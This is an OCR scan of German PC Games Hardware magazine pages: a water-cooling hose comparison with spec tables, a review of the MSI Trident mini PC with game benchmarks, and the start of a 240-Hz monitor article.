Preisbewussten Käufern sei an die- 
ser Stelle aber auch der Blick zu 
Noname-Produkten angeraten. Der 
13/10-mm-Schlauch von Caseking 
leistet sich keineswegs Schwächen, 
ist aber auch nicht wirklich günsti- 
ger als unser Preis-Leistungs-Tipp. 
Entscheiden Sie selbst, ob Ihnen 
das Plus an Klarheit und die UV-Ak- 
tivität dies wert sind. Das 11/8-mm- 
Format von Caseking enttarnt sich 
dagegen als hochwertiges Produkt 
von Rehau und überrascht in sei- 
ner Größe mit Bestleistungen und 
dem niedrigsten Preis - eine kla- 
re Empfehlung. Unser Preistipp 
kommt ansonsten größenüber- 
greifend von Masterkleer und hört 
auf den Namen Clearflex60. Die 
störende Beschriftung des ansons- 
ten tadellosen Schlauches können 
Sie übrigens mit Feuerzeugbenzin 
rückstandslos entfernen, was den 
Schlauch auch optisch zum Hingu- 
cker macht. Zudem bietet er auf 
Tüllen ein ebenso gutes Verhalten 
wie der Primoflex-ALRT. (cb) 


Fazit Нагйшаге 


Kleine Unterschiede im Testfeld 
Keiner der getesteten Schläuche fällt 
im Test komplett durch, dennoch dif- 
ferenziert sich das Testfeld. Der Griff 
zu den teuersten Schläuchen scheint 
aber nur für Optikliebhaber sinnvoll. 
Vergleichbare Leistung erhalten Sie mit 
geringen Abstrichen auch schon deut- 
lich günstiger. Wir raten aufgrund der 
besseren Knickneigung generell zum 
Einsatz von 11/8- oder 16/10-mm-For- 
maten. 


Minimaler Biegedurchmesser ohne Einknicken 


Tygon 
R6012 
Norprene 


Raitubo-T3 
PVC 


Alphacool 
HF 


Mayhems 
Ultra Clear 


EK ZMT 


XSPC 
Highflex 


Noname 
PVC 


Masterkleer 
PVC 


PrimoFlex 
ALRT 


ws 
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8,0 
10,0 
8,0 
=;ww 


www $ 5 


6,0 
Clearflex60 8,0 
6,0 


B 16/10-mm-Schlàuche 
E 13/10-mm-Schlàuche 
B 11/8-mm-Schläuche 


8,5 


0 2 4 6 
kleinster Biegedruchmesser ohne Einknicken (cm) 


8 10 12 


Test: Minimaler AuBendurchmesser einer 180-Grad-Schlaufe ohne sichtbares Einknicken bei Raumtemperatur 
und ohne Medium. Bemerkungen: 13/10-mm-Schlauch weist gernerell schlechtere Biegesteifigkeit auf; 
PrimoFlex ALRT liegt unabhángig von der Dimension auf dem Spitzenplatz. 


Nur Primoflex Advanced LRT und Masterkleer PVC sind farbneutral. XSPC Highflex 
und Tygon S3 E3603 weisen gar einen Gelb-/Orangestich auf. Klappt das Entfernen 
von Beschriftungen mit dem Fingernagel nicht, hilft Lósemittel wie Benzin. 
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INFRASTRUKTUR | Schláuche für Wasserkühlung 


027291) 
TOP-PRODUKT 
Caseking (Rehau) 11/8 mm 
Noname PVC 11/8 klar ч 


Hardware 


SCHLÄUCHE 
11/8 MM 


Produkt Noname PVC Clearflex60 PVC E3603 R6012 Norprene 
11/8 klar 11,2/8mm Clear 11/8mm Clear 11,2/8mm Clear 11,2/8mm Schwarz 


Hersteller Noname von Caseking (Rehau) Masterkleer Masterkleer „Тудоп“ (Saint-Gobain) „Тудоп“ (Saint-Gobain) 

Kein Eintrag vorhanden Kein Eintrag vorhanden www.pcgh.de/preis/416823 www.pcgh.de/preis/1115285 www.pcgh.de/preis/1115368 
Preis (je Meter)/Preis-Leistung Ca. € 2,-/sehr gut Ca. € 3,-/sehr gut Ca. € 5,-/befriedigend Ca. € 7,-/ausreichend Ca. € 5,-/befriedigend 
Werkstoff Thermoplast auf Polyvinylchlorid- Thermoplast auf Polyvinylchlorid- Thermoplast auf Polyvinylchlorid- Thermoplast auf Polyvinylchlorid- Elastomer auf Polypropylen-Basis 

Basis Basis Basis Basis 
Farbton Transparent, Blaustich Transparent, Blaustich Transparent, ohne Farbstich Transparent, Gelb-Orange-Stich Opak, schwarz 
Transparenz Sehr klar Sehr klar Sehr klar Sehr klar - 
Max. Betriebstemperatur/-druck* -- -20 bis 60 °С/4 bar (bei 20 °С) -20 bis 60 °C/4 bar (bei 20 °C) -20 bis 60 °C/4 bar (bei 20 °C) -20 bis 60 °С/4 bar (bei 20 °С) 
Anforderungen an Kühlmedium* Alkoholische Lösungen bis max. 15 | — - - - 
Vol Prozent bei max. 40 °C möglich 
Subjektive Drucksteifigkeit** Weich Sehr weich Weich Sehr weich Sehr weich 
Bemerkungen Lebensmittelzulassung; Beschrif- Beschriftung blau, nur mit Lósemit- | — Beschriftung weiß, mit Fingernagel | Beschriftung weiß, nur mit Lö- 
tung schwarz, nur mit Lösemitteln teln entfernbar entfernbar; Bisphenol-A (Antioxidanz | semitteln entfernbar; leicht raue 
entfernbar Weichmacher) frei; Lebensmittel- Oberfláche 
zulassung 
Gemessene Wandstärke 1,42 mm 1,55 mm 1,54 mm 1,48 mm 1,47 mm 
Montage/Demontage Anschraubtülle | Einfach/einfach Mittel/mittel Einfach/einfach Einfach/einfach Einfach/einfach 
Abzugskraft Anschraubtülle*** >100/100 N 75/65 N 70/70 N 55/50 N 50/40 N 
Montage/Demontage Tülle Einfach/einfach Einfach/einfach Einfach/einfach Einfach/einfach Einfach/einfach 

Abzugskraft Tülle*** 30 N 35 N 50 N 20 N 15N 
Kleinster Biegedurchmesser 6,5 cm 6,0 cm 6,0 cm 6,5 cm 8,0 cm 
Dämpfung**** 50 Prozent 75 Prozent 55 Prozent 75 Prozent 45 Prozent 

© Biegedurchmesser © Optik © Dämpfung © Medienbeständigkeit 
© Dämpfung © Solide Leistung © Abzugskräfte © Abzugskräfte 

© Mechan. Eigenschaften © Transparenz © Relativ teuer © Relativ teuer © Biegeradius 

02/2017 — 
13/10 тт | "prime ||13/10 mm аа 13/10 mm 13/10 mm 13/10 mm 13/10 mm 
' n d | | з 
" | Нагйшаге Нагйшаге ) Ç 
SCHLAUCHE | 
1310MM | Sf < c Ф O 


Primoflex Advanced Clearflex60 Schlauch PVC PVC-Schlauch Alphatube HF E3603 
LRT Schlauch 13/10 — 12,7/9,5mm Clear 12,7/9,5mm Clear 13/10mm - klar/UV 13/10тт 12,7/9,5mm Clear 
mm - klar blue 


Hersteller rimochill Masterkleer Masterkleer Noname von Caseking Alphacool , Tygon” (Saint-Gobain) 
(www.primochill.com) (www.alphacool.de) 
| Link zum PCGH-Preisvergleich —  PEETEIETITELIDEIERE www. pcgh.de/preis/46927984 |www.pcgh.de/preis/416819 ` |Kein Eintrag vorhanden www.pcgh.de/preis/1256923 | www.pcgh.de/preis/1115330 
Preis (je Meter)/Preis-Leistung Ca. € 7,-/gut Ca. € 4,-/sehr gut Ca. € 6,-/befriedigend Ca. € 4,-/gut Ca. € 5,-/befriedigend Ca. € 8,-/ausreichend 
Werkstoff hermoplast auf Polyvinylchlo- | Thermoplast auf Polyvinylchlo- | Thermoplast auf Polyvinylchlo- | Thermoplast auf Polyvinylchlo- | Thermoplast auf Polyvinylchlo- | Thermoplast auf Polyvinylchlo- 
rid-Basis rid-Basis rid-Basis rid-Basis rid-Basis rid-Basis 
Farbton ransparent, ohne Farbstich Transparent, Blaustich Transparent, ohne Farbstich |Transparent, Blaustich Transparent, Blaustich Transparent, Gelb-Orange-Stich 
Transparenz Klar Klar Sehr klar Sehr klar Diffus Klar 
Max. Betriebstemperatur/-druck* -4- -20 bis 60 °С/4 bar (bei -20 bis 60 °C/4 bar (bei -- -20 bis 60 °C/4 bar (bei -20 bis 60 °C/4 bar (bei 
20 °C) 20 °C) 20 °C) 20 °C) 
Anforderungen an Kühlmedium* Einsatz mit Alkoholen, Ethy- | — - _ - _ 
englycol und alle weiteren 


aggressiven Zusatzstoffen 


untersagt 
Subjektive Drucksteifigkeit** Weich Sehr weich Weich Weich Weich Sehr weich 
Bemerkungen - Beschriftung blau, nur mit - UV-aktiv (blau) - Beschriftung weiß, nicht 
Lösemitteln entfernbar entfernbar; Bisphenol-A (An- 

tioxidanz Weichmacher) frei; 
Lebensmittelzulassung 

Gemessene Wandstärke 1,78 mm 1,68 mm 1,65 mm 1,56 mm 1,55 mm 1,45 mm 

Montage/Demontage Anschraubtülle | Mittel/mittel Einfach/mittel Einfach/mittel Einfach/mittel Einfach/mittel Einfach/einfach 

Abzugskraft Anschraubtülle*** >100/>100 N 100/100 N >100/>100 N >100/>100 N >100/>100 N >100/65 N 

Montage/Demontage Tülle Mittel/schwer Mittel/schwer Einfach/schwer Einfach/mittel Mittel/schwer Einfach/mittel 

Abzugskraft Tülle*** 90/>100 N 70/>100 N 70/>100 N 50/90 N 60/>100 N 40/85 N 

Kleinster Biegedurchmesser 7,5 cm 8,0 cm 8,0 cm 8,0 cm 8,5 cm 8,5 cm 

Dàmpfung**** 70 Prozent 65 Prozent 50 Prozent 55 Prozent 50 Prozent 75 Prozent 


© Abzugskráfte © Abzugskráfte © Optik © Relativ preiswert © Abzugskräfte © Dämpfung 
© Biegedurchmesser © Relativ günstig © Solide Leistung © Abzugskräfte © Solide Leistung © Farbstich 


© Vorgabe Kühlmedium © Transparenz © Relativ teuer © Solide Leistung © Optik © Sehr teuer 


* Hersteller-/Shopangaben ** Durch vergleichendes radiales Zusammendrücken beurteilt *** Anschraubtüllen: 11/8 - BitsPower/Noname; 13/10 - Alphacool Eiszap- 


en/Monsoon; 16/10 - AquaTuning gerändelt/EK Water Blocks EK-ACF Fitting; Tüllen: 11/8 - Aquatuning 8 mm; 13/10 & 16/10 - Alphacool HF FatBoy 10 mm/XSPC 10 


mm **** gegenüber Referenz (Tygon Norprene 16/10 mm) 
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Schláuche für Wasserkühlung | INFRASTRUKTUR 


A 
PREIS-LEISTUNGS-TIPP 


SCHLÄUCHE 13/10 
& 16/10 MM 


Hersteller 


Highflex 13/10mm 
- clear, 2m 
XSPC (www.xs-pc.com) 


Raitubo-T3 
PVC 


Raijintek (www.raijintek.com) 


R6012 Norprene 
12,7/9,6mm Schwarz 
, ygon" (Saint-Gobain) 


Dengen | 
Е. 


Hardware 


# 


Clearflex60 
15,9/9,5mm Clear 


Masterkleer 


Primoflex Advanced LRT 
Schl. 15,9/9,5 mm - klar 


Primochill (www.primochill.com) 


Link zum PCGH-Preisvergleich 


Kein Eintrag vorhanden 


www.pcgh.de/preis/1336715 


www.pcgh.de/preis/1115429 


www.pcgh.de/preis/1091456 Kein Eintrag vorhanden 


Preis (je Meter)/Preis-Leistung 


Ca. € 4,-/gut 


Ca. € 5,-/befriedigend 


Ca. € 5,-/befriedigend 


Ca. € 8,-/gut Ca. € 5,-/sehr gut 


Werkstoff 


Thermoplast auf Polyvinylchlorid- 


Thermoplast auf Polyvinylchlorid- 


Elastomer auf Polypropylen-Basis 


Thermoplast auf Polyvinylchlorid- Thermoplast auf Polyvinylchlorid- 


Basis Basis Basis Basis 
Farbton Transparent, Orangestich Transparent, Gelbstich Opak, schwarz Transparent, ohne Farbstich Transparent, Blaustich 
Transparenz Diffus Klar - Klar Klar 
Max. Betriebstemperatur/-druck* -20 bis 60 °C/ — -20 bis 80 *C/ — -20 bis 60 °С/4 bar (bei 20 °С) -- -20 bis 60 °С/4 bar (bei 20 °С) 
Anforderungen an Kühlmedium* - - - Einsatz mit Alkoholen, Ethylenglycol | — 
und alle weiteren aggressiven Zu- 
satzstoffen untersagt 
Subjektive Drucksteifigkeit** Sehr weich Weich Sehr weich Hart Mittelhart 


Bemerkungen 


Retailverpackung (2 m) 


Retailverpackung (2 m) 


Beschriftung weiß, 
semitteln entfernbar; leicht raue 


nur mit Lö- 


Beschriftung blau, nur mit Lósemit- 
teln entfernbar 


© Farbstich, Transparenz 


© Biegedurchmesser 


© Biegedurchmesser 


© Vorgabe Kühlmedium 


Oberfläche 

Gemessene Wandstärke 1,50 mm 1,45 mm 1,49 mm 3,37 mm 3,11 mm 
Montage/Demontage Anschraubtülle | Einfach/einfach Mittel/schwer Einfach/einfach Mittel/schwer Mittel/einfach 
Abzugskraft Anschraubtülle*** 100/90 N >100/>100 N Reißt bei 50 N >100/>100 N 95/>100 N 
Montage/Demontage Tülle Einfach/mittel Schwer/schwer Einfach/einfach Mittel/schwer Einfach/mittel 
Abzugskraft Tülle*** 30/90 N >100/>100 N 25/35 N >100/>100 N 90/100 N 
Kleinster Biegedurchmesser 8,5 cm 9,0 cm 10,0 cm 5,5 cm 6,0 cm 
Dämpfung**** 60 Prozent 35 Prozent 35 Prozent 50 Prozent 40 Prozent 

© Relativ günstig © Abzugskräfte © Medienbeständigkeit © Abzugskräfte © Abzugskräfte 

© Biegeradius © Dämpfung © Abzugskräfte © Biegedurchmesser © Relativ günstig 


© Transparenz 


SCHLÄUCHE 
16/10 MM 


Hersteller 


16/10 mm 


EK-Tube 
ZMT16/10mm 
mattschwarz 


EK Water Blocks 
(www.ekwb.com) 


16/10 mm 


| 


Highflex - 
transparent, 2m 


XSPC 
(www.xs-pc.com) 


E3603 
15,9/9,5mm Clear 


, ygon" (Saint-Gobain) 


16/10 mm 


PVC 
16/10mm Clear 


Masterkleer 


16/10 mm 


Ultra Clear 
16/10 mm 


Mayhems 
(www.mayhems.co.uk) 


16/10 mm 


R6012 Norprene 
15,9/9,6mm Schwarz 


, Tygon” (Saint-Gobain) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1091953 


kein Eintrag vorhanden 


www.pcgh.de/preis/1115363 


www.pcgh.de/preis/444960 


www.pcgh.de/preis/1432780 


www.pcgh.de/preis/1115431 


Preis (je Meter)/Preis-Leistung 


Ca. € 5,-/gut 


Ca. € 5,-/gut 


Ca. € 12,-/befriedigend 


Ca. € 8,-/befriedigend 


Ca. € 4,-/gut 


Ca. € 10,-/ausreichend 


Werkstoff 


Elastomer auf Polypropylen- 
Basis 


Thermoplast auf Polyvinylchlo- 
rid-Basis 


Thermoplast auf Polyvinylchlo- 
rid-Basis 


Thermoplast auf Polyvinylchlo- 
rid-Basis 


Thermoplast auf Polyvinylchlo- 
rid-Basis 


Elastomer auf Polypropylen- 
Basis 


* Hersteller-/Shopangaben ** Durch vergleichendes radiales Zusammendrücken beurteilt *** Anschraubtüllen: 11/8 - BitsPower/Noname; 13/10 - Alphacool Eiszap- 


en/Monsoon; 16/10 - AquaTuning gerändelt/EK Water Blocks EK-ACF Fitting; Tüllen: 11/8 - Aquatuning 8 mm; 13/10 & 16/10 - Alphacool HF FatBoy 10 mm/XSPC 10 


mm **** gegenüber Referenz (Tygon Norprene 16/10 mm) 


Farbton Opak, schwarz Transparent, Orangestich Transparent, Gelb-Orange-Stich | Transparent, ohne Farbstich Transparent, Violettstich Opak, schwarz 
Transparenz - Diffus Klar Sehr klar Diffus - 
Max. Betriebstemperatur/-druck* -30 bis 110 °C/- -32 bis 60 °C/— -20 bis 60 °C/4 bar (bei -20 bis 60 °C/4 bar (bei -20 bis 60 °C/ — -20 bis 60 °С/4 bar (bei 
20 °C) 20 °C) 20 °C) 
Anforderungen an Kühlmedium* Kompatibel zu allen be- - - - - - 
kannten, weit verbreiteten 
Kühlflüssigkeiten 
Subjektive Drucksteifigkeit** Hart Mittelhart Mittelhart Mittelhart Mittelhart Mittelhart 
Bemerkungen Glatte Oberfläche ggü. Retailverpackung (2 m) Beschriftung weiB, mit Finger- | — - Beschriftung weiß, nur mit 
Norprene nagel entfernbar; Bisphenol-A Lósemitteln entfernbar; leicht 
(Antioxidanz Weichmacher)-frei; raue Oberfláche 
Lebensmittelzulassung 
Gemessene Wandstärke 3,53 mm 2,92 mm 3,05 mm 3,09 mm 3,07 mm 2,97 mm 
Montage/Demontage Anschraubtülle |Mittel/mittel Einfach/einfach Einfach/einfach Einfach/einfach Einfach/einfach Einfach/einfach 
Abzugskraft Anschraubtülle*** 100/2100 N 60/2100 N 65/100 N 100/2100 N 100/2100 N 55/55 N 
Montage/Demontage Tülle Einfach/einfach Einfach/mittel Einfach/mittel Einfach/einfach Einfach/einfach Einfach/einfach 
Abzugskraft Tülle*** 50/55 N 40/60 N 45/55 N 40/55 N 50/50 N 30/50 N 
Kleinster Biegedurchmesser 6,5 cm 6,0 cm 6,5 cm 6,5 cm 6,5 cm 8,0 cm 


Dämpfung**** 


40 Prozent 


© Biegeradius 
© Medienbeständigkeit 


© Preis 


50 Prozent 


© Relativ günstig 
© Biegeradius 
© Farbstich, Transparenz 


60 Prozent 


© Dämpfung 
© Farbstich 
© Relativ teuer 


45 Prozent 


© Optik 
© Solide Leistung 
© Preis 


35 Prozent 


© Relativ günstig 
© Solide Leistung 
© Farbstich, Transparenz 


0 Prozent (Referenz) 


© Medienbeständigkeit 
© Abzugskräfte 
© Biegedurchmesser 
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INFRASTRUKTUR | MSI Trident (Mini РС) 


Konsolen-Konkurrenz 


Die Hersteller möchten das Wohnzimmer-Gaming nicht den Konsolen überlassen. MSI bietet mit dem 


Trident eine kompakte Alternative mit Desktop-Hardware, die aber nicht gerade günstig ist. 


it den Steam Machines wollte 

Valve 2015 den Konsolen im 
Wohnzimmer ernsthafte Konkur- 
renz machen. Die Verkäufe liefen 
schleppend, sodass sie sich die 
Komplett-PCs für den Wohnzim- 
mer nahezu sang und klanglos vom 
Markt verabschiedet haben. Ganz 
scheinen Valve und Dell zwar noch 
nicht aufgegeben zu haben, denn 
erst letzten Sommer erschien ein 
neuer Alienware-Rechner mit dem 
Gaming-Linux Steam OS. Danach 
wurde es aber ziemlich still um die 
Steam Machines. Von der Couch 
aus wird also nach wie vor auf 
Xbox und Playstation gezockt. 


Nichtsdestotrotz gibt es nach wie 
vor PCs in Konsolengröße. Seien es 
Barebones oder Mini-PCs mit fest- 


84 PC Games Hardware | 02/17 


verbauter Hardware, oder individu- 
ell konfigurierte Rechner, etwa auf 
ITX-Basis. Kleine Gaming-PCs für 
das Wohnzimmer sind somit zwar 
kein Hype, aber dennoch eine eta- 
blierte Nische. 


In manch einem Barebone kommt 
etwa Notebook-Hardware zum Ein- 
satz, die für wenig Platz konzipiert 
ist, 
leistet als Desktop-Rechenchips. 
MSI aber verbaut in einem Gehäuse 
im Konsolenformat mit dem Intel 
Core i7-6700 eine Desktop-CPU 
zusammen mit der Nvidia-GPU 
Geforce GTX 1060 mit 3 GB bzw. 
alternativ 6 GB VRAM. Genug Leis- 
tung für aktuelle Spiele in hohen 


aber entsprechend weniger 


Grafikdetails, wenn auch nicht un- 
bedingt in 4K-Auflösung. Lediglich 


der Arbeitsspeicher kommt im kur- 
zen SO-DIMM-Format zum Einsatz, 
wie er bei Notebooks üblich ist. In 
unserem Testsystem waren 8 GB 
DDR4-RAM in einem Slot verbaut. 
Der Trident ist in doppelter Slot- 
Besetzung mit bis zu 32 GB RAM 
aufrüstbar. 


Was die Anschlussausstattung an- 
geht, so nennt das Datenblatt so 
ziemlich alles, was man von einem 
kompakten Komplett-PC erwartet: 
WLAN im aktuellen ac-Standard, 
mehrere USB-2.0- und USB-3.0- 
Buchsen - eine davon sogar im Typ- 
C-Format, Audio-Klinkenbuchsen 
vorne und hinten sowie Bluetooth 
immerhin in Version 4.2. Die aktu- 
elle Version 5 ist gerade mal weni- 
ge Wochen alt. Zudem möchte sich 


der Trident als Basis für VR-Brillen 
bewerben, indem er einen HDMI- 
Anschluss an der Front bietet. Dazu 
muss aber auf der Rückseite ein 
kurzes Verlängerungskabel einge- 
steckt werden. Schade, dass kein 
doppelt so schnelles USB 3.1 Gen 2 
oder gleich Thunderbolt 3 verfüg- 
bar ist, was man in dieser Preisregi- 
on hätte erwarten können. 


Schick und stabil 
Das Gehäuse ist zweifellos ein 
Hingucker mit den verwinkelten 
Kanten und der Plastikoberflächte 
in Optik von gebürsteten Alu. Die 
Farbe der LED-Beleuchtung kann 
außerdem softwareseitig 
duell gewählt werden. Im Liefer- 
umfang ist auch ein Standfuß ent- 
halten, mit dem sich der Rechner 


indivi- 
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Auch 
an Lüfteróffungen wurde hier 
gedacht, da die Grafikkarte dann 
die Abwärme über die Unterseite 
herausbläst. Auf der Herstellersei- 
te wird der Trident mit „Military 
Class 5 components“ beschrieben. 
Ob es sich dadurch wirklich um 
irgendein Militärstandard oder nur 
um Marketing-Sprache handelt, sei 
dahingestellt. Die Verarbeitung des 
Gehäuses ist jedenfalls tadellos: An 
keiner Stelle treten ungleichmäßi- 
ge Spaltmaße oder wackelige Blen- 
den auf. Der kleine Kasten wirkt 
stets solide und gut gefertigt. Fast 
schon etwas zu gut, denn dement- 
sprechend schwierig gestaltet sich 
das Öffnen des Gehäuse. 


hochkant aufstellen lässt. 


It's not meant to be 

opened 

MSI möchte einen Komplettrech- 
ner bieten, der keine Wünsche 
offen lässt, sodass der Trident erst 
gar nicht geöffnet werden muss. 
Nun ist so ein Gerät natürlich oh- 
nehin nichts für den PC-Nerd, der 
seinen Rechner selbst konfiguriert 
und auch Spaß am Basteln und Auf- 
rüsten hat. Der Trident soll diejeni- 
gen ansprechen, die einen fertigen 
‚funktionierenden Rechner haben 
möchten, mit dem man direkt los- 
spielen kann. Sollte es dennoch 
einen Defekt geben, wird eben die 
Garantie genutzt, die MSI hier zwei 
Jahre lang bietet. 


In der Praxis möchte bzw. muss 


wie die große Schwester. Beihohen La uth eit 
selbst der Komplettrechner-User Details in Full-HD-Auflösung liefern 
hin und wieder das Gehäuse oft beide Modelle Bildraten von über 25 
nen. Schließlich sind Arbeitsspei- 60 Fps. Im Crysis-3-Benchmark ! [XT 
cher oder Grafikkarte schnell ge- kam der Trident immerhin auf gute 2 Eod 
tauscht und neue Hardware bietet 53 Fps und liegt damit nur wenige E С Ka 
somit recht einfach einen deutli- Fps unter dem Referenzmodell aus 5 15 - | 
chen Performance-Zugewinn. Mit dem Standardbenchmark. = Lei Ий 
einigen beherzten Griffen ist die £ 1 — 
Abdeckung an der Oberseite auch Lediglich bei der aktuellen Versi- 3 
ohne Schraubendreher gelöst und on von Tomb Raider konnten wir 05 E | 
etwa RAM-Riegel sind somitschnell einen deutlichen Unterschied fest- 
getauscht. Auch die Grafikkarte stellen. Hier liefert die GTX 1060 i HS | | Ж 
ist mit nur zwei Schrauben gelöst. in großer Bauform gut ein Drittel Desktop 3D-Gaming Volllast 


Wie bei vielen ITX-Boards der Fall, 
befindet sich auch hier die M.2-SSD 
an der Unterseite des Mainboards. 


An unserem Testgerät konnten wir 
sie nicht erreichen, ohne Beschä- 
digungen zu riskieren. Dabei ist 
es gerade der Massenspeicher, der 
wegen eines Defekts oder für mehr 
Kapazität doch eher gewechselt 
werden muss, als etwa das WLAN- 
Modul an der Oberseite in einem 
M.2-Slot. Sowohl SSD als auch HDD 
arbeiten beide mit dem SATA- 
Protokoll. Bei einem Rechner, der 
um die 1.000 Euro kostet, hätten 
wir uns eine SSD mit aktueller PCI- 
Express-Schnittstelle gewünscht. 
Die Kingston-SSD bietet zwar im 
AS-SSD-Benchmark passable Wer- 
te im sequenziellen Lesen um die 
500 MB/s, jedoch sind die sequen- 
ziellen Schreibwerte mit etwa 160 
MB/s etwas mau für eine SSD. Auch 
wenn das die Spieleleistung so gut 
wie gar nicht beeinflusst. 


Kurze Grafikkarte, volle 
Leistung 

Im kleinen Gehäuse findet ledig- 
lich eine Grafikkarte in kurzer Bau- 
form Platz. Interessant ist es daher, 
wie sich das kleinere MSI-Modell 
im Vergleich mit den großen Ge- 
schwistern schlägt. Wir haben den 
Trident daher durch einen Park- 
our einiger PCGH-Standardbench- 
marks gejagt, wobei uns die Ergeb- 
nisse der gewählten Stichproben 
überraschten: The Witcher 3 ist ein 
Spiel, das CPU und GPU durchaus 
gut fordert - hier schnitt die kurze- 
Geforce GTX 1060 genauso gut ab 


mehr Fps. Derart grofse Differen- 
zen hatten wir dennoch nicht er- 
wartet, zumal die GPU im Trident 


Hitzeentwicklung: Der Trident wird nicht sonderlich warm. Lediglich 44 Grad werden 
mit der Wármebildkamera sichtbar. Notebooks sind da deutlich heißer. 


Benchmarks: MSI Trident in modernen Spielen 


The Witcher 3, Full HD, max. Details ohne Gameworks - , Boat Trip" 


Geforce GTX 1060/6G in MSI Trident EE 64 (Basis) 
Geforce GTX 1060/6G in Testsystem Xn 61 (-5 %) 
Radeon RX 480/4G. [XXn 58,8 (-8 90) 


Rise of the Tomb Raider (DX12), Full HD, max. Details — „бео Valley" 


Geforce GTX 1060/6G in MSI Trident X33 ИЕШЕ 34,4 (Basis) 


Geforce GTX 1060/6G in Testsystem |t Ex 46,2 (+34 96) 


Radeon RX 480/4G Es s 42 (+22 %) 
Crysis 3, Full HD, 4x SMAA, max. Details – , Fields" 


Geforce GTX 1060/6G іп MSI Trident En 52,9 (Basis) 
Geforce GTX 1060/6G in Testsystem Egi 55,7 (+5 %) 
Radeon RX 480/46 Ea ШШ 48,5 (-8 


%) 


Systeme: Core i7-6800K @ 4,4 GHz, X99, 4 x 8G DDR4-3000, Win 10 x64; MSI Trident 
Bemerkungen: Zwar steckt im Trident eine GTX 1060 mit 6 GiByte, aufgrund thermischer 
Grenzen muss sich diese jedoch etwas stärker drosseln als die ausgewachsene Version. 


Mimi 2 Fps 


» Besser 


Bemerkung: Der MSI Trident ist viel leiser als so mancher Spielerechner. Geräuscheffiziente Spielenotebooks 
sind selbst unter Last nicht lauter als 2 Sone. Zur Orientierung: Ein normales Gespräch ist um die 1 Sone laut, 


ein Fernseher in Zimmerlautstärke um die 4 Sone. 
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MSI Trident im Detail 


Der Trident ist so konzipiert, dass er nicht geöffnet werden muss bzw. darf. Wir haben dennoch einen Blick ins Innere geworfen. An den Massenspeicher 
unter der Platine sind wir trotzdem nicht herangekommen. Grafikkarte und Prozessor sind aber mit wenigen Handgriffen ausgetauscht. 


CPU: Intel Core 17-6700 

Der Trident ist mit einer Oberklasse-Desk- 
top-CPU ausgerüstet, einem Vierkerner 
der Skylake-Generation, der mit einem 
Basistakt über 3,4 GHz läuft. Damit ist der 
Trident für aktuelle Spiele gewappnet. 


Zweikammer-Kühlsystem Ө 
Grafikkarte und Mainboard mit CPU sind 
zwar nur über eine kleine Plastik-Trenn- 
wand und nicht ganz luftdicht voneinander 
geteilt, das Kühlkonzept scheint dennoch 
aufzugehen. Selbst unter Last ist der 


Trident recht leise. 


Backpanel: USB 3.0, 

Grafik, Audio, LAN 

Für ITX-Größe ist die Anschlussausstattung 
recht umfangreich. Viermal USB 2.0 ist für 
die Peripherie gedacht. Für Datenträger ist 
USB 3.0 vorhanden. Neben WLAN steht 
auch über ein RJ45-Port kabelgebundenes- 
Gigabit-Ethernet zur Verfügung. 


Frontpanel: USB 3.0, HDMI, Audio 

Neben zwei USB-3.0-Ports und zwei Audiobuchsen ist vorne auch HDMI 
vorhanden, der für VR-Brillen gedacht ist. Über ein mitgeliefertes Kabel 
(VR-Link) muss der Anschluss von der Rückseite nach vorne verlegt werden. 


Produkt MSI Trident 


Prozessor (alternativ) 


Intel Core i7-6700 (Core 15-6400) 


Chipsatz 


Intel H110 


Massenspeicher 


Kingston-SSD (256 GByte), HGST-HDD (1.000 GByte) 


Arbeitsspeicher 


1 x SO-DIMM, 8 GiByte DDR4, 2133 MHz, 2 Slots 


Grafikkarte (alternativ) MSI Geforce GTX 1060, 6 GiByte (3 GiByte) 

Anschlüsse 1 x USB-C 3.0, 3 x USB-A 3.0, 4 x USB-A 2.0, 1 x GB LAN, 5 x Klinke 
WLAN Dual Band Wireless-AC 3168 (M.2 2230) 

Bluetooth-Version 42 

LAN Intel WGI219V 10/100/1000M 

Gehäusevolumen 4,72 Liter 


Maße (ohne Standfuß) 


34,6 х 23,3 x 7,2 


Geräuschentwicklung 


1,1 Sone (Leerlauf) - bis 2,1 Sone (Volllast) 


Temperatur (Gehäuse) 


Maximal 44 *C 


Garantie/Preis 


FAZIT 


2 Jahre (Pickup & Return)/ ca. € 1.250,- 


© Leise Lüfter, gute Kühlung 
© Gute Spieleleistung 
© Proprietäres Gehäuse und Mainboard 


Wertung: xxx 
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mit selbem Basistakt lief und nicht 
über weniger Grafikspeicher ver- 
fügte. Unser Testmodell hatte die 
GTX 1060 mit 6 GB VRAM verbaut. 
Das Modell mit 3 GB VRAM bietet 
grundsätzlich etwas weniger Fps, 
hier sollte man nicht an der fal- 
schen Stelle sparen und darauf ach- 
ten, den Trident mit 6 GB VRAM zu 
erwischen. 


Cooler Kasten 

CPU- und GPU-Kühler haben beide 
ihre eigenen Ein- und Ausgänge für 
Zu- und Abluft. Das Kühlkonzept 
aus zwei Kammern funktioniert: 
Für ein kompaktes Gehäuse mit 


GPU: Geforce (2) 
GTX 1060 

Im Gehäuse findet nur eine 
Grafikkarte in kurzer Bauweise 
Platz. Die GTX 1060 ist eine GPU 
der preisbewussten Mittelklasse, 
die bei aktuellen Spiele in 1080p 
und 1440p noch brauchbare 
Frameraten liefert. 


Unzugänglicher 
Massenspeicher 
SATA-SSD und HDD sitzen 
unter dem Mainboard und sind 
nicht ohne größeren Aufwand 
austauschbar. 


zwei Lüftern bleibt der Trident 
stets leise und recht kühl, ohne 
etwa auf Throttling, also einen re- 
duzierten Basistakt, zurückggreifen 
zu müssen, wie manche Notebooks 
es gerne tun. Selbst als wir CPU 
und GPU dauerhaft unter Volllast 
setzten, gab der Trident nur eine 
Lautheit von maximal 2,2 Sone von 
sich. Auf dem Desktop ist er nur 
etwa 1 Sone laut und damit fast un- 
hörbar. Die durchdachte Kühlung 
ist ein Grund mehr, sich an ein pro- 
pietäres System zu binden, bei dem 
Gehäuse und Mainboard nicht aus- 
tauschbar sind. Da beide harmonie- 
ren, ist das auch nicht nötig. (mc) 


www.pcgameshardware.de 


KOMPETENT VIELSEITIG 


24: M CY Q 
ч аў ; ae | 
A? j < 
| 4 
Lu dom 
| B 


JAHRES D/ E BL ER - - 


TEN KRACHER DES 


DIE 50 GRÓSS 
H > ch ü AUCH E - 


INFRASTRUKTUR | 240-Hz-Monitor 


240 Hertz: Flüssiger 
Film für Fliegen 


ur 24 Fps? Ein Gamer würde 

durchdrehen, müsste er mit 
so einer Bildrate spielen. Bei den 
Cineasten ist eher das Gegenteil 
der Fall - sie beschwerten sich 
